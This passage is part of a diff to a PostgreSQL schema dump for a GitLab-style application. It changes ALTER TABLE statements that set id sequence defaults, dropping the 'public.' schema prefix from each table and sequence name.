+ALTER TABLE ONLY group_deploy_keys ALTER COLUMN id SET DEFAULT nextval('group_deploy_keys_id_seq'::regclass);
-ALTER TABLE ONLY public.historical_data ALTER COLUMN id SET DEFAULT nextval('public.historical_data_id_seq'::regclass);
+ALTER TABLE ONLY group_deploy_keys_groups ALTER COLUMN id SET DEFAULT nextval('group_deploy_keys_groups_id_seq'::regclass);
-ALTER TABLE ONLY public.identities ALTER COLUMN id SET DEFAULT nextval('public.identities_id_seq'::regclass);
+ALTER TABLE ONLY group_deploy_tokens ALTER COLUMN id SET DEFAULT nextval('group_deploy_tokens_id_seq'::regclass);
-ALTER TABLE ONLY public.import_export_uploads ALTER COLUMN id SET DEFAULT nextval('public.import_export_uploads_id_seq'::regclass);
+ALTER TABLE ONLY group_group_links ALTER COLUMN id SET DEFAULT nextval('group_group_links_id_seq'::regclass);
-ALTER TABLE ONLY public.import_failures ALTER COLUMN id SET DEFAULT nextval('public.import_failures_id_seq'::regclass);
+ALTER TABLE ONLY group_import_states ALTER COLUMN group_id SET DEFAULT nextval('group_import_states_group_id_seq'::regclass);
-ALTER TABLE ONLY public.index_statuses ALTER COLUMN id SET DEFAULT nextval('public.index_statuses_id_seq'::regclass);
+ALTER TABLE ONLY historical_data ALTER COLUMN id SET DEFAULT nextval('historical_data_id_seq'::regclass);
-ALTER TABLE ONLY public.insights ALTER COLUMN id SET DEFAULT nextval('public.insights_id_seq'::regclass);
+ALTER TABLE ONLY identities ALTER COLUMN id SET DEFAULT nextval('identities_id_seq'::regclass);
-ALTER TABLE ONLY public.internal_ids ALTER COLUMN id SET DEFAULT nextval('public.internal_ids_id_seq'::regclass);
+ALTER TABLE ONLY import_export_uploads ALTER COLUMN id SET DEFAULT nextval('import_export_uploads_id_seq'::regclass);
-ALTER TABLE ONLY public.ip_restrictions ALTER COLUMN id SET DEFAULT nextval('public.ip_restrictions_id_seq'::regclass);
+ALTER TABLE ONLY import_failures ALTER COLUMN id SET DEFAULT nextval('import_failures_id_seq'::regclass);
-ALTER TABLE ONLY public.issue_links ALTER COLUMN id SET DEFAULT nextval('public.issue_links_id_seq'::regclass);
+ALTER TABLE ONLY index_statuses ALTER COLUMN id SET DEFAULT nextval('index_statuses_id_seq'::regclass);
-ALTER TABLE ONLY public.issue_metrics ALTER COLUMN id SET DEFAULT nextval('public.issue_metrics_id_seq'::regclass);
+ALTER TABLE ONLY insights ALTER COLUMN id SET DEFAULT nextval('insights_id_seq'::regclass);
-ALTER TABLE ONLY public.issue_tracker_data ALTER COLUMN id SET DEFAULT nextval('public.issue_tracker_data_id_seq'::regclass);
+ALTER TABLE ONLY internal_ids ALTER COLUMN id SET DEFAULT nextval('internal_ids_id_seq'::regclass);
-ALTER TABLE ONLY public.issue_user_mentions ALTER COLUMN id SET DEFAULT nextval('public.issue_user_mentions_id_seq'::regclass);
+ALTER TABLE ONLY ip_restrictions ALTER COLUMN id SET DEFAULT nextval('ip_restrictions_id_seq'::regclass);
-ALTER TABLE ONLY public.issues ALTER COLUMN id SET DEFAULT nextval('public.issues_id_seq'::regclass);
+ALTER TABLE ONLY issuable_severities ALTER COLUMN id SET DEFAULT nextval('issuable_severities_id_seq'::regclass);
-ALTER TABLE ONLY public.jira_connect_installations ALTER COLUMN id SET DEFAULT nextval('public.jira_connect_installations_id_seq'::regclass);
+ALTER TABLE ONLY issue_links ALTER COLUMN id SET DEFAULT nextval('issue_links_id_seq'::regclass);
-ALTER TABLE ONLY public.jira_connect_subscriptions ALTER COLUMN id SET DEFAULT nextval('public.jira_connect_subscriptions_id_seq'::regclass);
+ALTER TABLE ONLY issue_metrics ALTER COLUMN id SET DEFAULT nextval('issue_metrics_id_seq'::regclass);
-ALTER TABLE ONLY public.jira_imports ALTER COLUMN id SET DEFAULT nextval('public.jira_imports_id_seq'::regclass);
+ALTER TABLE ONLY issue_tracker_data ALTER COLUMN id SET DEFAULT nextval('issue_tracker_data_id_seq'::regclass);
-ALTER TABLE ONLY public.jira_tracker_data ALTER COLUMN id SET DEFAULT nextval('public.jira_tracker_data_id_seq'::regclass);
+ALTER TABLE ONLY issue_user_mentions ALTER COLUMN id SET DEFAULT nextval('issue_user_mentions_id_seq'::regclass);
-ALTER TABLE ONLY public.keys ALTER COLUMN id SET DEFAULT nextval('public.keys_id_seq'::regclass);
+ALTER TABLE ONLY issues ALTER COLUMN id SET DEFAULT nextval('issues_id_seq'::regclass);
-ALTER TABLE ONLY public.label_links ALTER COLUMN id SET DEFAULT nextval('public.label_links_id_seq'::regclass);
+ALTER TABLE ONLY jira_connect_installations ALTER COLUMN id SET DEFAULT nextval('jira_connect_installations_id_seq'::regclass);
-ALTER TABLE ONLY public.label_priorities ALTER COLUMN id SET DEFAULT nextval('public.label_priorities_id_seq'::regclass);
+ALTER TABLE ONLY jira_connect_subscriptions ALTER COLUMN id SET DEFAULT nextval('jira_connect_subscriptions_id_seq'::regclass);
-ALTER TABLE ONLY public.labels ALTER COLUMN id SET DEFAULT nextval('public.labels_id_seq'::regclass);
+ALTER TABLE ONLY jira_imports ALTER COLUMN id SET DEFAULT nextval('jira_imports_id_seq'::regclass);
-ALTER TABLE ONLY public.ldap_group_links ALTER COLUMN id SET DEFAULT nextval('public.ldap_group_links_id_seq'::regclass);
+ALTER TABLE ONLY jira_tracker_data ALTER COLUMN id SET DEFAULT nextval('jira_tracker_data_id_seq'::regclass);
-ALTER TABLE ONLY public.lfs_file_locks ALTER COLUMN id SET DEFAULT nextval('public.lfs_file_locks_id_seq'::regclass);
+ALTER TABLE ONLY keys ALTER COLUMN id SET DEFAULT nextval('keys_id_seq'::regclass);
-ALTER TABLE ONLY public.lfs_objects ALTER COLUMN id SET DEFAULT nextval('public.lfs_objects_id_seq'::regclass);
+ALTER TABLE ONLY label_links ALTER COLUMN id SET DEFAULT nextval('label_links_id_seq'::regclass);
-ALTER TABLE ONLY public.lfs_objects_projects ALTER COLUMN id SET DEFAULT nextval('public.lfs_objects_projects_id_seq'::regclass);
+ALTER TABLE ONLY label_priorities ALTER COLUMN id SET DEFAULT nextval('label_priorities_id_seq'::regclass);
-ALTER TABLE ONLY public.licenses ALTER COLUMN id SET DEFAULT nextval('public.licenses_id_seq'::regclass);
+ALTER TABLE ONLY labels ALTER COLUMN id SET DEFAULT nextval('labels_id_seq'::regclass);
-ALTER TABLE ONLY public.list_user_preferences ALTER COLUMN id SET DEFAULT nextval('public.list_user_preferences_id_seq'::regclass);
+ALTER TABLE ONLY ldap_group_links ALTER COLUMN id SET DEFAULT nextval('ldap_group_links_id_seq'::regclass);
-ALTER TABLE ONLY public.lists ALTER COLUMN id SET DEFAULT nextval('public.lists_id_seq'::regclass);
+ALTER TABLE ONLY lfs_file_locks ALTER COLUMN id SET DEFAULT nextval('lfs_file_locks_id_seq'::regclass);
-ALTER TABLE ONLY public.members ALTER COLUMN id SET DEFAULT nextval('public.members_id_seq'::regclass);
+ALTER TABLE ONLY lfs_objects ALTER COLUMN id SET DEFAULT nextval('lfs_objects_id_seq'::regclass);
-ALTER TABLE ONLY public.merge_request_assignees ALTER COLUMN id SET DEFAULT nextval('public.merge_request_assignees_id_seq'::regclass);
+ALTER TABLE ONLY lfs_objects_projects ALTER COLUMN id SET DEFAULT nextval('lfs_objects_projects_id_seq'::regclass);
-ALTER TABLE ONLY public.merge_request_blocks ALTER COLUMN id SET DEFAULT nextval('public.merge_request_blocks_id_seq'::regclass);
+ALTER TABLE ONLY licenses ALTER COLUMN id SET DEFAULT nextval('licenses_id_seq'::regclass);
-ALTER TABLE ONLY public.merge_request_context_commits ALTER COLUMN id SET DEFAULT nextval('public.merge_request_context_commits_id_seq'::regclass);
+ALTER TABLE ONLY list_user_preferences ALTER COLUMN id SET DEFAULT nextval('list_user_preferences_id_seq'::regclass);
-ALTER TABLE ONLY public.merge_request_diffs ALTER COLUMN id SET DEFAULT nextval('public.merge_request_diffs_id_seq'::regclass);
+ALTER TABLE ONLY lists ALTER COLUMN id SET DEFAULT nextval('lists_id_seq'::regclass);
-ALTER TABLE ONLY public.merge_request_metrics ALTER COLUMN id SET DEFAULT nextval('public.merge_request_metrics_id_seq'::regclass);
+ALTER TABLE ONLY members ALTER COLUMN id SET DEFAULT nextval('members_id_seq'::regclass);
-ALTER TABLE ONLY public.merge_request_user_mentions ALTER COLUMN id SET DEFAULT nextval('public.merge_request_user_mentions_id_seq'::regclass);
+ALTER TABLE ONLY merge_request_assignees ALTER COLUMN id SET DEFAULT nextval('merge_request_assignees_id_seq'::regclass);
-ALTER TABLE ONLY public.merge_requests ALTER COLUMN id SET DEFAULT nextval('public.merge_requests_id_seq'::regclass);
+ALTER TABLE ONLY merge_request_blocks ALTER COLUMN id SET DEFAULT nextval('merge_request_blocks_id_seq'::regclass);
-ALTER TABLE ONLY public.merge_requests_closing_issues ALTER COLUMN id SET DEFAULT nextval('public.merge_requests_closing_issues_id_seq'::regclass);
+ALTER TABLE ONLY merge_request_context_commits ALTER COLUMN id SET DEFAULT nextval('merge_request_context_commits_id_seq'::regclass);
-ALTER TABLE ONLY public.merge_trains ALTER COLUMN id SET DEFAULT nextval('public.merge_trains_id_seq'::regclass);
+ALTER TABLE ONLY merge_request_diff_details ALTER COLUMN merge_request_diff_id SET DEFAULT nextval('merge_request_diff_details_merge_request_diff_id_seq'::regclass);
-ALTER TABLE ONLY public.metrics_dashboard_annotations ALTER COLUMN id SET DEFAULT nextval('public.metrics_dashboard_annotations_id_seq'::regclass);
+ALTER TABLE ONLY merge_request_diffs ALTER COLUMN id SET DEFAULT nextval('merge_request_diffs_id_seq'::regclass);
-ALTER TABLE ONLY public.metrics_users_starred_dashboards ALTER COLUMN id SET DEFAULT nextval('public.metrics_users_starred_dashboards_id_seq'::regclass);
+ALTER TABLE ONLY merge_request_metrics ALTER COLUMN id SET DEFAULT nextval('merge_request_metrics_id_seq'::regclass);
-ALTER TABLE ONLY public.milestones ALTER COLUMN id SET DEFAULT nextval('public.milestones_id_seq'::regclass);
+ALTER TABLE ONLY merge_request_reviewers ALTER COLUMN id SET DEFAULT nextval('merge_request_reviewers_id_seq'::regclass);
-ALTER TABLE ONLY public.namespace_statistics ALTER COLUMN id SET DEFAULT nextval('public.namespace_statistics_id_seq'::regclass);
+ALTER TABLE ONLY merge_request_user_mentions ALTER COLUMN id SET DEFAULT nextval('merge_request_user_mentions_id_seq'::regclass);
-ALTER TABLE ONLY public.namespaces ALTER COLUMN id SET DEFAULT nextval('public.namespaces_id_seq'::regclass);
+ALTER TABLE ONLY merge_requests ALTER COLUMN id SET DEFAULT nextval('merge_requests_id_seq'::regclass);
-ALTER TABLE ONLY public.note_diff_files ALTER COLUMN id SET DEFAULT nextval('public.note_diff_files_id_seq'::regclass);
+ALTER TABLE ONLY merge_requests_closing_issues ALTER COLUMN id SET DEFAULT nextval('merge_requests_closing_issues_id_seq'::regclass);
-ALTER TABLE ONLY public.notes ALTER COLUMN id SET DEFAULT nextval('public.notes_id_seq'::regclass);
+ALTER TABLE ONLY merge_trains ALTER COLUMN id SET DEFAULT nextval('merge_trains_id_seq'::regclass);
-ALTER TABLE ONLY public.notification_settings ALTER COLUMN id SET DEFAULT nextval('public.notification_settings_id_seq'::regclass);
+ALTER TABLE ONLY metrics_dashboard_annotations ALTER COLUMN id SET DEFAULT nextval('metrics_dashboard_annotations_id_seq'::regclass);
-ALTER TABLE ONLY public.oauth_access_grants ALTER COLUMN id SET DEFAULT nextval('public.oauth_access_grants_id_seq'::regclass);
+ALTER TABLE ONLY metrics_users_starred_dashboards ALTER COLUMN id SET DEFAULT nextval('metrics_users_starred_dashboards_id_seq'::regclass);
-ALTER TABLE ONLY public.oauth_access_tokens ALTER COLUMN id SET DEFAULT nextval('public.oauth_access_tokens_id_seq'::regclass);
+ALTER TABLE ONLY milestones ALTER COLUMN id SET DEFAULT nextval('milestones_id_seq'::regclass);
-ALTER TABLE ONLY public.oauth_applications ALTER COLUMN id SET DEFAULT nextval('public.oauth_applications_id_seq'::regclass);
+ALTER TABLE ONLY namespace_statistics ALTER COLUMN id SET DEFAULT nextval('namespace_statistics_id_seq'::regclass);
-ALTER TABLE ONLY public.oauth_openid_requests ALTER COLUMN id SET DEFAULT nextval('public.oauth_openid_requests_id_seq'::regclass);
+ALTER TABLE ONLY namespaces ALTER COLUMN id SET DEFAULT nextval('namespaces_id_seq'::regclass);
-ALTER TABLE ONLY public.open_project_tracker_data ALTER COLUMN id SET DEFAULT nextval('public.open_project_tracker_data_id_seq'::regclass);
+ALTER TABLE ONLY note_diff_files ALTER COLUMN id SET DEFAULT nextval('note_diff_files_id_seq'::regclass);
-ALTER TABLE ONLY public.operations_feature_flag_scopes ALTER COLUMN id SET DEFAULT nextval('public.operations_feature_flag_scopes_id_seq'::regclass);
+ALTER TABLE ONLY notes ALTER COLUMN id SET DEFAULT nextval('notes_id_seq'::regclass);
-ALTER TABLE ONLY public.operations_feature_flags ALTER COLUMN id SET DEFAULT nextval('public.operations_feature_flags_id_seq'::regclass);
+ALTER TABLE ONLY notification_settings ALTER COLUMN id SET DEFAULT nextval('notification_settings_id_seq'::regclass);
-ALTER TABLE ONLY public.operations_feature_flags_clients ALTER COLUMN id SET DEFAULT nextval('public.operations_feature_flags_clients_id_seq'::regclass);
+ALTER TABLE ONLY oauth_access_grants ALTER COLUMN id SET DEFAULT nextval('oauth_access_grants_id_seq'::regclass);
-ALTER TABLE ONLY public.operations_feature_flags_issues ALTER COLUMN id SET DEFAULT nextval('public.operations_feature_flags_issues_id_seq'::regclass);
+ALTER TABLE ONLY oauth_access_tokens ALTER COLUMN id SET DEFAULT nextval('oauth_access_tokens_id_seq'::regclass);
-ALTER TABLE ONLY public.operations_scopes ALTER COLUMN id SET DEFAULT nextval('public.operations_scopes_id_seq'::regclass);
+ALTER TABLE ONLY oauth_applications ALTER COLUMN id SET DEFAULT nextval('oauth_applications_id_seq'::regclass);
-ALTER TABLE ONLY public.operations_strategies ALTER COLUMN id SET DEFAULT nextval('public.operations_strategies_id_seq'::regclass);
+ALTER TABLE ONLY oauth_openid_requests ALTER COLUMN id SET DEFAULT nextval('oauth_openid_requests_id_seq'::regclass);
-ALTER TABLE ONLY public.operations_strategies_user_lists ALTER COLUMN id SET DEFAULT nextval('public.operations_strategies_user_lists_id_seq'::regclass);
+ALTER TABLE ONLY open_project_tracker_data ALTER COLUMN id SET DEFAULT nextval('open_project_tracker_data_id_seq'::regclass);
-ALTER TABLE ONLY public.operations_user_lists ALTER COLUMN id SET DEFAULT nextval('public.operations_user_lists_id_seq'::regclass);
+ALTER TABLE ONLY operations_feature_flag_scopes ALTER COLUMN id SET DEFAULT nextval('operations_feature_flag_scopes_id_seq'::regclass);
-ALTER TABLE ONLY public.packages_build_infos ALTER COLUMN id SET DEFAULT nextval('public.packages_build_infos_id_seq'::regclass);
+ALTER TABLE ONLY operations_feature_flags ALTER COLUMN id SET DEFAULT nextval('operations_feature_flags_id_seq'::regclass);
-ALTER TABLE ONLY public.packages_conan_file_metadata ALTER COLUMN id SET DEFAULT nextval('public.packages_conan_file_metadata_id_seq'::regclass);
+ALTER TABLE ONLY operations_feature_flags_clients ALTER COLUMN id SET DEFAULT nextval('operations_feature_flags_clients_id_seq'::regclass);
-ALTER TABLE ONLY public.packages_conan_metadata ALTER COLUMN id SET DEFAULT nextval('public.packages_conan_metadata_id_seq'::regclass);
+ALTER TABLE ONLY operations_feature_flags_issues ALTER COLUMN id SET DEFAULT nextval('operations_feature_flags_issues_id_seq'::regclass);
-ALTER TABLE ONLY public.packages_dependencies ALTER COLUMN id SET DEFAULT nextval('public.packages_dependencies_id_seq'::regclass);
+ALTER TABLE ONLY operations_scopes ALTER COLUMN id SET DEFAULT nextval('operations_scopes_id_seq'::regclass);
-ALTER TABLE ONLY public.packages_dependency_links ALTER COLUMN id SET DEFAULT nextval('public.packages_dependency_links_id_seq'::regclass);
+ALTER TABLE ONLY operations_strategies ALTER COLUMN id SET DEFAULT nextval('operations_strategies_id_seq'::regclass);
-ALTER TABLE ONLY public.packages_maven_metadata ALTER COLUMN id SET DEFAULT nextval('public.packages_maven_metadata_id_seq'::regclass);
+ALTER TABLE ONLY operations_strategies_user_lists ALTER COLUMN id SET DEFAULT nextval('operations_strategies_user_lists_id_seq'::regclass);
-ALTER TABLE ONLY public.packages_package_files ALTER COLUMN id SET DEFAULT nextval('public.packages_package_files_id_seq'::regclass);
+ALTER TABLE ONLY operations_user_lists ALTER COLUMN id SET DEFAULT nextval('operations_user_lists_id_seq'::regclass);
-ALTER TABLE ONLY public.packages_packages ALTER COLUMN id SET DEFAULT nextval('public.packages_packages_id_seq'::regclass);
+ALTER TABLE ONLY packages_build_infos ALTER COLUMN id SET DEFAULT nextval('packages_build_infos_id_seq'::regclass);
-ALTER TABLE ONLY public.packages_tags ALTER COLUMN id SET DEFAULT nextval('public.packages_tags_id_seq'::regclass);
+ALTER TABLE ONLY packages_conan_file_metadata ALTER COLUMN id SET DEFAULT nextval('packages_conan_file_metadata_id_seq'::regclass);
-ALTER TABLE ONLY public.pages_domain_acme_orders ALTER COLUMN id SET DEFAULT nextval('public.pages_domain_acme_orders_id_seq'::regclass);
+ALTER TABLE ONLY packages_conan_metadata ALTER COLUMN id SET DEFAULT nextval('packages_conan_metadata_id_seq'::regclass);
-ALTER TABLE ONLY public.pages_domains ALTER COLUMN id SET DEFAULT nextval('public.pages_domains_id_seq'::regclass);
+ALTER TABLE ONLY packages_dependencies ALTER COLUMN id SET DEFAULT nextval('packages_dependencies_id_seq'::regclass);
-ALTER TABLE ONLY public.partitioned_foreign_keys ALTER COLUMN id SET DEFAULT nextval('public.partitioned_foreign_keys_id_seq'::regclass);
+ALTER TABLE ONLY packages_dependency_links ALTER COLUMN id SET DEFAULT nextval('packages_dependency_links_id_seq'::regclass);
-ALTER TABLE ONLY public.path_locks ALTER COLUMN id SET DEFAULT nextval('public.path_locks_id_seq'::regclass);
+ALTER TABLE ONLY packages_maven_metadata ALTER COLUMN id SET DEFAULT nextval('packages_maven_metadata_id_seq'::regclass);
-ALTER TABLE ONLY public.personal_access_tokens ALTER COLUMN id SET DEFAULT nextval('public.personal_access_tokens_id_seq'::regclass);
+ALTER TABLE ONLY packages_package_files ALTER COLUMN id SET DEFAULT nextval('packages_package_files_id_seq'::regclass);
-ALTER TABLE ONLY public.plan_limits ALTER COLUMN id SET DEFAULT nextval('public.plan_limits_id_seq'::regclass);
+ALTER TABLE ONLY packages_packages ALTER COLUMN id SET DEFAULT nextval('packages_packages_id_seq'::regclass);
-ALTER TABLE ONLY public.plans ALTER COLUMN id SET DEFAULT nextval('public.plans_id_seq'::regclass);
+ALTER TABLE ONLY packages_tags ALTER COLUMN id SET DEFAULT nextval('packages_tags_id_seq'::regclass);
-ALTER TABLE ONLY public.pool_repositories ALTER COLUMN id SET DEFAULT nextval('public.pool_repositories_id_seq'::regclass);
+ALTER TABLE ONLY pages_deployments ALTER COLUMN id SET DEFAULT nextval('pages_deployments_id_seq'::regclass);
-ALTER TABLE ONLY public.product_analytics_events_experimental ALTER COLUMN id SET DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass);
+ALTER TABLE ONLY pages_domain_acme_orders ALTER COLUMN id SET DEFAULT nextval('pages_domain_acme_orders_id_seq'::regclass);
-ALTER TABLE ONLY public.programming_languages ALTER COLUMN id SET DEFAULT nextval('public.programming_languages_id_seq'::regclass);
+ALTER TABLE ONLY pages_domains ALTER COLUMN id SET DEFAULT nextval('pages_domains_id_seq'::regclass);
-ALTER TABLE ONLY public.project_aliases ALTER COLUMN id SET DEFAULT nextval('public.project_aliases_id_seq'::regclass);
+ALTER TABLE ONLY partitioned_foreign_keys ALTER COLUMN id SET DEFAULT nextval('partitioned_foreign_keys_id_seq'::regclass);
-ALTER TABLE ONLY public.project_auto_devops ALTER COLUMN id SET DEFAULT nextval('public.project_auto_devops_id_seq'::regclass);
+ALTER TABLE ONLY path_locks ALTER COLUMN id SET DEFAULT nextval('path_locks_id_seq'::regclass);
-ALTER TABLE ONLY public.project_ci_cd_settings ALTER COLUMN id SET DEFAULT nextval('public.project_ci_cd_settings_id_seq'::regclass);
+ALTER TABLE ONLY personal_access_tokens ALTER COLUMN id SET DEFAULT nextval('personal_access_tokens_id_seq'::regclass);
-ALTER TABLE ONLY public.project_compliance_framework_settings ALTER COLUMN project_id SET DEFAULT nextval('public.project_compliance_framework_settings_project_id_seq'::regclass);
+ALTER TABLE ONLY plan_limits ALTER COLUMN id SET DEFAULT nextval('plan_limits_id_seq'::regclass);
-ALTER TABLE ONLY public.project_custom_attributes ALTER COLUMN id SET DEFAULT nextval('public.project_custom_attributes_id_seq'::regclass);
+ALTER TABLE ONLY plans ALTER COLUMN id SET DEFAULT nextval('plans_id_seq'::regclass);
-ALTER TABLE ONLY public.project_daily_statistics ALTER COLUMN id SET DEFAULT nextval('public.project_daily_statistics_id_seq'::regclass);
+ALTER TABLE ONLY pool_repositories ALTER COLUMN id SET DEFAULT nextval('pool_repositories_id_seq'::regclass);
-ALTER TABLE ONLY public.project_deploy_tokens ALTER COLUMN id SET DEFAULT nextval('public.project_deploy_tokens_id_seq'::regclass);
+ALTER TABLE ONLY product_analytics_events_experimental ALTER COLUMN id SET DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass);
-ALTER TABLE ONLY public.project_export_jobs ALTER COLUMN id SET DEFAULT nextval('public.project_export_jobs_id_seq'::regclass);
+ALTER TABLE ONLY programming_languages ALTER COLUMN id SET DEFAULT nextval('programming_languages_id_seq'::regclass);
-ALTER TABLE ONLY public.project_features ALTER COLUMN id SET DEFAULT nextval('public.project_features_id_seq'::regclass);
+ALTER TABLE ONLY project_aliases ALTER COLUMN id SET DEFAULT nextval('project_aliases_id_seq'::regclass);
-ALTER TABLE ONLY public.project_group_links ALTER COLUMN id SET DEFAULT nextval('public.project_group_links_id_seq'::regclass);
+ALTER TABLE ONLY project_auto_devops ALTER COLUMN id SET DEFAULT nextval('project_auto_devops_id_seq'::regclass);
-ALTER TABLE ONLY public.project_import_data ALTER COLUMN id SET DEFAULT nextval('public.project_import_data_id_seq'::regclass);
+ALTER TABLE ONLY project_ci_cd_settings ALTER COLUMN id SET DEFAULT nextval('project_ci_cd_settings_id_seq'::regclass);
-ALTER TABLE ONLY public.project_incident_management_settings ALTER COLUMN project_id SET DEFAULT nextval('public.project_incident_management_settings_project_id_seq'::regclass);
+ALTER TABLE ONLY project_compliance_framework_settings ALTER COLUMN project_id SET DEFAULT nextval('project_compliance_framework_settings_project_id_seq'::regclass);
-ALTER TABLE ONLY public.project_mirror_data ALTER COLUMN id SET DEFAULT nextval('public.project_mirror_data_id_seq'::regclass);
+ALTER TABLE ONLY project_custom_attributes ALTER COLUMN id SET DEFAULT nextval('project_custom_attributes_id_seq'::regclass);
-ALTER TABLE ONLY public.project_repositories ALTER COLUMN id SET DEFAULT nextval('public.project_repositories_id_seq'::regclass);
+ALTER TABLE ONLY project_daily_statistics ALTER COLUMN id SET DEFAULT nextval('project_daily_statistics_id_seq'::regclass);
-ALTER TABLE ONLY public.project_repository_states ALTER COLUMN id SET DEFAULT nextval('public.project_repository_states_id_seq'::regclass);
+ALTER TABLE ONLY project_deploy_tokens ALTER COLUMN id SET DEFAULT nextval('project_deploy_tokens_id_seq'::regclass);
-ALTER TABLE ONLY public.project_repository_storage_moves ALTER COLUMN id SET DEFAULT nextval('public.project_repository_storage_moves_id_seq'::regclass);
+ALTER TABLE ONLY project_export_jobs ALTER COLUMN id SET DEFAULT nextval('project_export_jobs_id_seq'::regclass);
-ALTER TABLE ONLY public.project_security_settings ALTER COLUMN project_id SET DEFAULT nextval('public.project_security_settings_project_id_seq'::regclass);
+ALTER TABLE ONLY project_features ALTER COLUMN id SET DEFAULT nextval('project_features_id_seq'::regclass);
-ALTER TABLE ONLY public.project_statistics ALTER COLUMN id SET DEFAULT nextval('public.project_statistics_id_seq'::regclass);
+ALTER TABLE ONLY project_group_links ALTER COLUMN id SET DEFAULT nextval('project_group_links_id_seq'::regclass);
-ALTER TABLE ONLY public.project_tracing_settings ALTER COLUMN id SET DEFAULT nextval('public.project_tracing_settings_id_seq'::regclass);
+ALTER TABLE ONLY project_import_data ALTER COLUMN id SET DEFAULT nextval('project_import_data_id_seq'::regclass);
-ALTER TABLE ONLY public.projects ALTER COLUMN id SET DEFAULT nextval('public.projects_id_seq'::regclass);
+ALTER TABLE ONLY project_incident_management_settings ALTER COLUMN project_id SET DEFAULT nextval('project_incident_management_settings_project_id_seq'::regclass);
-ALTER TABLE ONLY public.prometheus_alert_events ALTER COLUMN id SET DEFAULT nextval('public.prometheus_alert_events_id_seq'::regclass);
+ALTER TABLE ONLY project_mirror_data ALTER COLUMN id SET DEFAULT nextval('project_mirror_data_id_seq'::regclass);
-ALTER TABLE ONLY public.prometheus_alerts ALTER COLUMN id SET DEFAULT nextval('public.prometheus_alerts_id_seq'::regclass);
+ALTER TABLE ONLY project_repositories ALTER COLUMN id SET DEFAULT nextval('project_repositories_id_seq'::regclass);
-ALTER TABLE ONLY public.prometheus_metrics ALTER COLUMN id SET DEFAULT nextval('public.prometheus_metrics_id_seq'::regclass);
+ALTER TABLE ONLY project_repository_states ALTER COLUMN id SET DEFAULT nextval('project_repository_states_id_seq'::regclass);
-ALTER TABLE ONLY public.protected_branch_merge_access_levels ALTER COLUMN id SET DEFAULT nextval('public.protected_branch_merge_access_levels_id_seq'::regclass);
+ALTER TABLE ONLY project_repository_storage_moves ALTER COLUMN id SET DEFAULT nextval('project_repository_storage_moves_id_seq'::regclass);
-ALTER TABLE ONLY public.protected_branch_push_access_levels ALTER COLUMN id SET DEFAULT nextval('public.protected_branch_push_access_levels_id_seq'::regclass);
+ALTER TABLE ONLY project_security_settings ALTER COLUMN project_id SET DEFAULT nextval('project_security_settings_project_id_seq'::regclass);
-ALTER TABLE ONLY public.protected_branch_unprotect_access_levels ALTER COLUMN id SET DEFAULT nextval('public.protected_branch_unprotect_access_levels_id_seq'::regclass);
+ALTER TABLE ONLY project_statistics ALTER COLUMN id SET DEFAULT nextval('project_statistics_id_seq'::regclass);
-ALTER TABLE ONLY public.protected_branches ALTER COLUMN id SET DEFAULT nextval('public.protected_branches_id_seq'::regclass);
+ALTER TABLE ONLY project_tracing_settings ALTER COLUMN id SET DEFAULT nextval('project_tracing_settings_id_seq'::regclass);
-ALTER TABLE ONLY public.protected_environment_deploy_access_levels ALTER COLUMN id SET DEFAULT nextval('public.protected_environment_deploy_access_levels_id_seq'::regclass);
+ALTER TABLE ONLY projects ALTER COLUMN id SET DEFAULT nextval('projects_id_seq'::regclass);
-ALTER TABLE ONLY public.protected_environments ALTER COLUMN id SET DEFAULT nextval('public.protected_environments_id_seq'::regclass);
+ALTER TABLE ONLY prometheus_alert_events ALTER COLUMN id SET DEFAULT nextval('prometheus_alert_events_id_seq'::regclass);
-ALTER TABLE ONLY public.protected_tag_create_access_levels ALTER COLUMN id SET DEFAULT nextval('public.protected_tag_create_access_levels_id_seq'::regclass);
+ALTER TABLE ONLY prometheus_alerts ALTER COLUMN id SET DEFAULT nextval('prometheus_alerts_id_seq'::regclass);
-ALTER TABLE ONLY public.protected_tags ALTER COLUMN id SET DEFAULT nextval('public.protected_tags_id_seq'::regclass);
+ALTER TABLE ONLY prometheus_metrics ALTER COLUMN id SET DEFAULT nextval('prometheus_metrics_id_seq'::regclass);
-ALTER TABLE ONLY public.push_rules ALTER COLUMN id SET DEFAULT nextval('public.push_rules_id_seq'::regclass);
+ALTER TABLE ONLY protected_branch_merge_access_levels ALTER COLUMN id SET DEFAULT nextval('protected_branch_merge_access_levels_id_seq'::regclass);
-ALTER TABLE ONLY public.raw_usage_data ALTER COLUMN id SET DEFAULT nextval('public.raw_usage_data_id_seq'::regclass);
+ALTER TABLE ONLY protected_branch_push_access_levels ALTER COLUMN id SET DEFAULT nextval('protected_branch_push_access_levels_id_seq'::regclass);
-ALTER TABLE ONLY public.redirect_routes ALTER COLUMN id SET DEFAULT nextval('public.redirect_routes_id_seq'::regclass);
+ALTER TABLE ONLY protected_branch_unprotect_access_levels ALTER COLUMN id SET DEFAULT nextval('protected_branch_unprotect_access_levels_id_seq'::regclass);
-ALTER TABLE ONLY public.release_links ALTER COLUMN id SET DEFAULT nextval('public.release_links_id_seq'::regclass);
+ALTER TABLE ONLY protected_branches ALTER COLUMN id SET DEFAULT nextval('protected_branches_id_seq'::regclass);
-ALTER TABLE ONLY public.releases ALTER COLUMN id SET DEFAULT nextval('public.releases_id_seq'::regclass);
+ALTER TABLE ONLY protected_environment_deploy_access_levels ALTER COLUMN id SET DEFAULT nextval('protected_environment_deploy_access_levels_id_seq'::regclass);
-ALTER TABLE ONLY public.remote_mirrors ALTER COLUMN id SET DEFAULT nextval('public.remote_mirrors_id_seq'::regclass);
+ALTER TABLE ONLY protected_environments ALTER COLUMN id SET DEFAULT nextval('protected_environments_id_seq'::regclass);
-ALTER TABLE ONLY public.requirements ALTER COLUMN id SET DEFAULT nextval('public.requirements_id_seq'::regclass);
+ALTER TABLE ONLY protected_tag_create_access_levels ALTER COLUMN id SET DEFAULT nextval('protected_tag_create_access_levels_id_seq'::regclass);
-ALTER TABLE ONLY public.requirements_management_test_reports ALTER COLUMN id SET DEFAULT nextval('public.requirements_management_test_reports_id_seq'::regclass);
+ALTER TABLE ONLY protected_tags ALTER COLUMN id SET DEFAULT nextval('protected_tags_id_seq'::regclass);
-ALTER TABLE ONLY public.resource_iteration_events ALTER COLUMN id SET DEFAULT nextval('public.resource_iteration_events_id_seq'::regclass);
+ALTER TABLE ONLY push_rules ALTER COLUMN id SET DEFAULT nextval('push_rules_id_seq'::regclass);
